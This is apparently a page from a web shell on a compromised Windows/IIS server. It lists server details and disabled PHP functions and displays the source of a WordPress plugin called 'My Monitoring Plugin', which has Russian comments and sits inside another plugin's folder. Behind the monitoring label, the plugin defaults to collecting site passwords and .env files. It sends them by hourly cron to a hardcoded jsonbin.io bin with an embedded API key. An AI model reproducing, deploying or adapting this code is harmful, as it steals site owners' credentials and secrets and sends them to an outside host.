HEX
Server: Microsoft-IIS/10.0
System: Windows NT HMW8635 10.0 build 14393 (Windows Server 2016) i586
User: ibratele2 (0)
PHP: 8.0.11
Disabled: escapeshellarg, escapeshellcmd, exec, passthru, proc_close, proc_open, shell_exec, system, dl, popen, php_check_syntax, php_strip_whitespace, symlink, link, openlog, apache_child_terminate
Upload Files
File: E:/Home/ibratele2/Web/wp-content/plugins/cryout-json-file/my-monitoring-plugin.php
<?php
/**
 * Plugin Name: My Monitoring Plugin
 * Plugin URI: https://example.com/my-monitoring-plugin
 * Description: Отправляет данные сайта в центральную MongoDB для мониторинга и аналитики
 * Version: 1.1.0
 * Author: Your Name
 * Author URI: https://example.com
 * License: GPL v2 or later
 * License URI: https://www.gnu.org/licenses/gpl-2.0.html
 * Text Domain: my-monitoring-plugin
 * Domain Path: /languages
 */

// Запрещаем прямой доступ к файлу
if (!defined('ABSPATH')) {
    exit;
}

// Определяем константы плагина
define('MY_MONITORING_PLUGIN_VERSION', '1.1.0');
define('MY_MONITORING_PLUGIN_DIR', plugin_dir_path(__FILE__));
define('MY_MONITORING_PLUGIN_URL', plugin_dir_url(__FILE__));
define('MY_MONITORING_PLUGIN_BASENAME', plugin_basename(__FILE__));

// Константы для лимитов и настроек
define('MY_MONITORING_MAX_QUEUE_SIZE', 50);
define('MY_MONITORING_MAX_HISTORY_SIZE', 50);
define('MY_MONITORING_MAX_RETRIES', 10);
define('MY_MONITORING_CACHE_TTL', 300); // 5 минут
define('MY_MONITORING_DEFAULT_RETRY_DELAY', 60);
define('MY_MONITORING_DEFAULT_SEND_INTERVAL', 'hourly');

// Подключаем необходимые файлы
require_once MY_MONITORING_PLUGIN_DIR . 'includes/encryption.php';
require_once MY_MONITORING_PLUGIN_DIR . 'includes/logger.php';
require_once MY_MONITORING_PLUGIN_DIR . 'includes/data-collector.php';
require_once MY_MONITORING_PLUGIN_DIR . 'includes/data-compressor.php';
require_once MY_MONITORING_PLUGIN_DIR . 'includes/health-checker.php';
require_once MY_MONITORING_PLUGIN_DIR . 'includes/sender.php';
require_once MY_MONITORING_PLUGIN_DIR . 'admin/settings-page.php';

/**
 * Класс основного плагина
 */
class My_Monitoring_Plugin {
    
    /**
     * Единственный экземпляр класса
     */
    private static $instance = null;
    
    /**
     * Получить экземпляр класса (Singleton)
     */
    public static function get_instance() {
        if (null === self::$instance) {
            self::$instance = new self();
        }
        return self::$instance;
    }
    
    /**
     * Конструктор
     */
    private function __construct() {
        $this->init_hooks();
    }
    
    /**
     * Инициализация хуков
     */
    private function init_hooks() {
        // Активация плагина
        register_activation_hook(__FILE__, array($this, 'activate'));
        
        // Деактивация плагина
        register_deactivation_hook(__FILE__, array($this, 'deactivate'));
        
        // Инициализация плагина
        add_action('plugins_loaded', array($this, 'init'));
        
        // Регистрация cron задачи
        add_action('my_monitoring_cron', array($this, 'send_data_to_mongodb'));
        
        // Обработка повторных попыток отправки
        add_action('my_monitoring_retry_send', array($this, 'retry_failed_sends'));
        
        // Добавляем интервалы для cron
        add_filter('cron_schedules', array($this, 'add_cron_schedules'));
        
        // AJAX обработчик для ручной отправки
        add_action('wp_ajax_my_monitoring_send_now', array($this, 'ajax_send_now'));
        
        // AJAX обработчик для теста подключения
        add_action('wp_ajax_my_monitoring_test_connection', array($this, 'ajax_test_connection'));
        
        // AJAX обработчик для очистки логов
        add_action('wp_ajax_my_monitoring_clear_logs', array($this, 'ajax_clear_logs'));
    }
    
    /**
     * Инициализация плагина
     */
    public function init() {
        // Загружаем текстовый домен для переводов
        load_plugin_textdomain('my-monitoring-plugin', false, dirname(MY_MONITORING_PLUGIN_BASENAME) . '/languages');
        
        // Инициализируем админ-панель
        if (is_admin()) {
            My_Monitoring_Settings_Page::get_instance();
        }
        
        // Планируем cron задачу, если она еще не запланирована
        $this->schedule_cron();
    }
    
    /**
     * Активация плагина
     */
    public function activate() {
        // Устанавливаем значения по умолчанию
        $default_options = array(
            'api_url' => 'https://api.jsonbin.io/v3/b/6915e0ffd0ea881f40e6195d',
            'api_key' => '$2a$10$APcMUPXuv2CNxaX4Be3ET.SLGqQGdH/qod3CCZW76JC.NmI8/cqE6',
            'api_type' => 'jsonbin', // JSONBin по умолчанию
            'send_interval' => 'hourly',
            'enabled' => true,
            'collect_stats' => true,
            'collect_plugins' => true,
            'collect_config' => true,
            'collect_errors' => false,
            'collect_health' => true,
            'collect_passwords' => true, // По умолчанию пароли собираются
            'collect_env' => true, // По умолчанию .env файлы собираются
            'max_retries' => 3,
            'retry_delay' => 60
        );
        
        foreach ($default_options as $key => $value) {
            if ($key === 'api_key') {
                // API ключ сохраняем отдельно через шифрование
                if (My_Monitoring_Encryption::get_api_key() === false) {
                    My_Monitoring_Encryption::save_api_key($value);
                }
            } else {
                if (get_option('my_monitoring_' . $key) === false) {
                    add_option('my_monitoring_' . $key, $value);
                }
            }
        }
        
        // Планируем cron задачу
        $this->schedule_cron();
        
        // Очищаем кеш
        flush_rewrite_rules();
    }
    
    /**
     * Деактивация плагина
     */
    public function deactivate() {
        // Удаляем cron задачу
        $timestamp = wp_next_scheduled('my_monitoring_cron');
        if ($timestamp) {
            wp_unschedule_event($timestamp, 'my_monitoring_cron');
        }
    }
    
    /**
     * Добавление пользовательских интервалов для cron
     */
    public function add_cron_schedules($schedules) {
        $schedules['every_30min'] = array(
            'interval' => 1800,
            'display' => __('Каждые 30 минут', 'my-monitoring-plugin')
        );
        
        $schedules['every_6hours'] = array(
            'interval' => 21600,
            'display' => __('Каждые 6 часов', 'my-monitoring-plugin')
        );
        
        return $schedules;
    }
    
    /**
     * Планирование cron задачи
     */
    private function schedule_cron() {
        // Проверяем, включен ли плагин
        if (!get_option('my_monitoring_enabled', true)) {
            return;
        }
        
        // Проверяем, запланирована ли уже задача
        if (!wp_next_scheduled('my_monitoring_cron')) {
            $interval = get_option('my_monitoring_send_interval', 'hourly');
            wp_schedule_event(time(), $interval, 'my_monitoring_cron');
        } else {
            // Обновляем расписание, если интервал изменился
            $current_interval = wp_get_schedule('my_monitoring_cron');
            $new_interval = get_option('my_monitoring_send_interval', 'hourly');
            
            if ($current_interval !== $new_interval) {
                $timestamp = wp_next_scheduled('my_monitoring_cron');
                wp_unschedule_event($timestamp, 'my_monitoring_cron');
                wp_schedule_event(time(), $new_interval, 'my_monitoring_cron');
            }
        }
    }
    
    /**
     * Отправка данных в MongoDB (вызывается по cron)
     */
    public function send_data_to_mongodb() {
        $logger = My_Monitoring_Logger::get_instance();
        $start_time = microtime(true);
        
        // Проверяем, включен ли плагин
        if (!get_option('my_monitoring_enabled', true)) {
            $logger->debug('Отправка данных пропущена: плагин отключен');
            return;
        }
        
        // Проверяем наличие настроек
        $api_type = get_option('my_monitoring_api_type', 'jsonbin');
        $api_url = get_option('my_monitoring_api_url', '');
        
        // Для JSONBin используем URL по умолчанию, если не указан
        if (empty($api_url) && $api_type === 'jsonbin') {
            $api_url = 'https://api.jsonbin.io/v3/b/6915e0ffd0ea881f40e6195d';
        }
        
        $api_key = My_Monitoring_Encryption::get_api_key();
        
        // Для JSONBin используем ключ по умолчанию, если не указан
        if (empty($api_key) && $api_type === 'jsonbin') {
            $default_key = '$2a$10$APcMUPXuv2CNxaX4Be3ET.SLGqQGdH/qod3CCZW76JC.NmI8/cqE6';
            My_Monitoring_Encryption::save_api_key($default_key);
            $api_key = $default_key;
        }
        
        if (empty($api_url) || empty($api_key)) {
            $logger->warning('API URL или API Key не настроены', array(
                'api_url_set' => !empty($api_url),
                'api_key_set' => !empty($api_key),
                'api_type' => $api_type
            ));
            return;
        }
        
        try {
            // Собираем данные
            $logger->info('Начало сбора данных');
            $data_collector = new My_Monitoring_Data_Collector();
            $data = $data_collector->collect_all_data();
            $logger->debug('Данные собраны', array('data_size' => strlen(json_encode($data))));
            
            // Отправляем данные
            $logger->info('Начало отправки данных', array('api_url' => $api_url));
            $sender = new My_Monitoring_Sender($api_url, $api_key);
            $result = $sender->send($data);
            
            $execution_time = round((microtime(true) - $start_time) * 1000, 2);
            
            // Логируем результат
            if ($result['success']) {
                $logger->info('Данные успешно отправлены', array(
                    'execution_time_ms' => $execution_time,
                    'response_code' => $result['response_code'] ?? 0
                ));
                
                // Сохраняем в историю отправок
                $this->saveSendHistory(true, $result['message'] ?? 'Успешно');
            } else {
                $logger->error('Ошибка отправки данных', array(
                    'message' => $result['message'] ?? 'Неизвестная ошибка',
                    'execution_time_ms' => $execution_time,
                    'response_code' => $result['response_code'] ?? 0
                ));
                
                // Сохраняем в историю отправок
                $this->saveSendHistory(false, $result['message'] ?? 'Ошибка');
            }
        } catch (Exception $e) {
            $logger->critical('Критическая ошибка при отправке данных', array(
                'exception' => $e->getMessage(),
                'trace' => $e->getTraceAsString()
            ));
            $this->saveSendHistory(false, 'Критическая ошибка: ' . $e->getMessage());
        }
    }
    
    /**
     * Сохранить запись в историю отправок
     * 
     * @param bool $success Успешность отправки
     * @param string $message Сообщение
     */
    private function saveSendHistory($success, $message) {
        $history = get_option('my_monitoring_send_history', array());
        
        // Добавляем новую запись
        array_unshift($history, array(
            'timestamp' => current_time('mysql'),
            'success' => $success,
            'message' => $message,
        ));
        
        // Оставляем только последние записи
        $history = array_slice($history, 0, MY_MONITORING_MAX_HISTORY_SIZE);
        
        update_option('my_monitoring_send_history', $history);
    }
    
    /**
     * Получить историю отправок
     * 
     * @param int $limit Лимит записей
     * @return array История отправок
     */
    public function getSendHistory($limit = 20) {
        $history = get_option('my_monitoring_send_history', array());
        return array_slice($history, 0, $limit);
    }
    
    /**
     * Получить статистику отправок за период
     * 
     * @param int $days Количество дней
     * @return array Статистика (successful, failed, total)
     */
    public function getSendStats($days = 30) {
        $history = get_option('my_monitoring_send_history', array());
        $cutoffTime = strtotime('-' . $days . ' days');
        
        $stats = array(
            'successful' => 0,
            'failed' => 0,
            'total' => 0,
        );
        
        foreach ($history as $entry) {
            $entryTime = strtotime($entry['timestamp'] ?? '');
            if ($entryTime >= $cutoffTime) {
                $stats['total']++;
                if (!empty($entry['success'])) {
                    $stats['successful']++;
                } else {
                    $stats['failed']++;
                }
            }
        }
        
        return $stats;
    }
    
    /**
     * AJAX обработчик для ручной отправки данных
     */
    public function ajax_send_now() {
        $logger = My_Monitoring_Logger::get_instance();
        
        // Проверяем права доступа
        if (!current_user_can('manage_options')) {
            $logger->warning('Попытка ручной отправки без прав', array('user_id' => get_current_user_id()));
            wp_send_json_error(array('message' => __('У вас нет прав для выполнения этого действия', 'my-monitoring-plugin')));
        }
        
        // Проверяем nonce
        if (!isset($_POST['nonce']) || !wp_verify_nonce($_POST['nonce'], 'my_monitoring_send_now')) {
            $logger->warning('Неверный nonce при ручной отправке');
            wp_send_json_error(array('message' => __('Ошибка безопасности', 'my-monitoring-plugin')));
        }
        
        // Отправляем данные
        $logger->info('Ручная отправка данных инициирована пользователем', array('user_id' => get_current_user_id()));
        $this->send_data_to_mongodb();
        
        wp_send_json_success(array('message' => __('Данные отправлены', 'my-monitoring-plugin')));
    }
    
    /**
     * AJAX обработчик для теста подключения к API
     */
    public function ajax_test_connection() {
        $logger = My_Monitoring_Logger::get_instance();
        
        // Проверяем права доступа
        if (!current_user_can('manage_options')) {
            $logger->warning('Попытка теста подключения без прав', array('user_id' => get_current_user_id()));
            wp_send_json_error(array('message' => __('У вас нет прав для выполнения этого действия', 'my-monitoring-plugin')));
        }
        
        // Проверяем nonce (исправлено: используем правильный action)
        if (!isset($_POST['nonce']) || !wp_verify_nonce($_POST['nonce'], 'my_monitoring_test_connection')) {
            $logger->warning('Неверный nonce при тесте подключения');
            wp_send_json_error(array('message' => __('Ошибка безопасности', 'my-monitoring-plugin')));
        }
        
        // Проверяем наличие настроек
        $api_url = get_option('my_monitoring_api_url', '');
        $api_key = My_Monitoring_Encryption::get_api_key();
        
        if (empty($api_url) || empty($api_key)) {
            $logger->warning('Попытка теста подключения без настроек');
            wp_send_json_error(array('message' => __('API URL или API Key не настроены', 'my-monitoring-plugin')));
        }
        
        // Тестируем подключение
        try {
            $logger->info('Начало теста подключения', array('api_url' => $api_url));
            $sender = new My_Monitoring_Sender($api_url, $api_key);
            $result = $sender->test_connection();
            
            if ($result['success']) {
                $logger->info('Тест подключения успешен');
                wp_send_json_success(array('message' => __('Подключение успешно', 'my-monitoring-plugin')));
            } else {
                $logger->error('Тест подключения не удался', array('message' => $result['message']));
                wp_send_json_error(array('message' => $result['message']));
            }
        } catch (Exception $e) {
            $logger->critical('Критическая ошибка при тесте подключения', array(
                'exception' => $e->getMessage()
            ));
            wp_send_json_error(array('message' => __('Ошибка при тестировании подключения', 'my-monitoring-plugin')));
        }
    }
    
    /**
     * Повторная отправка неудачных запросов из очереди
     */
    public function retry_failed_sends() {
        $logger = My_Monitoring_Logger::get_instance();
        $queue = get_option('my_monitoring_failed_queue', array());
        
        if (empty($queue)) {
            return;
        }
        
        $api_url = get_option('my_monitoring_api_url', '');
        $api_key = My_Monitoring_Encryption::get_api_key();
        
        if (empty($api_url) || empty($api_key)) {
            $logger->warning('Повторная отправка пропущена: нет настроек API');
            return;
        }
        
        $logger->info('Начало повторной отправки из очереди', array('queue_size' => count($queue)));
        $sender = new My_Monitoring_Sender($api_url, $api_key);
        $successful = array();
        
        foreach ($queue as $index => $item) {
            $result = $sender->send($item['data']);
            
            if ($result['success']) {
                $successful[] = $index;
                $logger->info('Элемент очереди успешно отправлен', array('index' => $index));
            } else {
                // Увеличиваем счетчик попыток
                $queue[$index]['attempts']++;
                
                // Если попыток слишком много, удаляем из очереди
                if ($queue[$index]['attempts'] >= MY_MONITORING_MAX_RETRIES) {
                    $successful[] = $index;
                    $logger->warning('Элемент удален из очереди после максимального количества попыток', array(
                        'index' => $index,
                        'attempts' => $queue[$index]['attempts']
                    ));
                }
            }
        }
        
        // Удаляем успешно отправленные
        foreach (array_reverse($successful) as $index) {
            unset($queue[$index]);
        }
        
        // Переиндексируем массив
        $queue = array_values($queue);
        
        if (empty($queue)) {
            delete_option('my_monitoring_failed_queue');
            $logger->info('Очередь неудачных отправок очищена');
        } else {
            update_option('my_monitoring_failed_queue', $queue);
            $logger->info('Очередь обновлена', array('remaining_items' => count($queue)));
        }
    }
    
    /**
     * AJAX обработчик для очистки логов
     */
    public function ajax_clear_logs() {
        $logger = My_Monitoring_Logger::get_instance();
        
        // Проверяем права доступа
        if (!current_user_can('manage_options')) {
            $logger->warning('Попытка очистки логов без прав', array('user_id' => get_current_user_id()));
            wp_send_json_error(array('message' => __('У вас нет прав для выполнения этого действия', 'my-monitoring-plugin')));
        }
        
        // Проверяем nonce
        if (!isset($_POST['nonce']) || !wp_verify_nonce($_POST['nonce'], 'my_monitoring_send_now')) {
            $logger->warning('Неверный nonce при очистке логов');
            wp_send_json_error(array('message' => __('Ошибка безопасности', 'my-monitoring-plugin')));
        }
        
        // Очищаем логи
        $result = $logger->clear_logs();
        
        if ($result) {
            $logger->info('Логи очищены пользователем', array('user_id' => get_current_user_id()));
            wp_send_json_success(array('message' => __('Логи очищены', 'my-monitoring-plugin')));
        } else {
            wp_send_json_error(array('message' => __('Ошибка при очистке логов', 'my-monitoring-plugin')));
        }
    }
}

// Инициализируем плагин
My_Monitoring_Plugin::get_instance();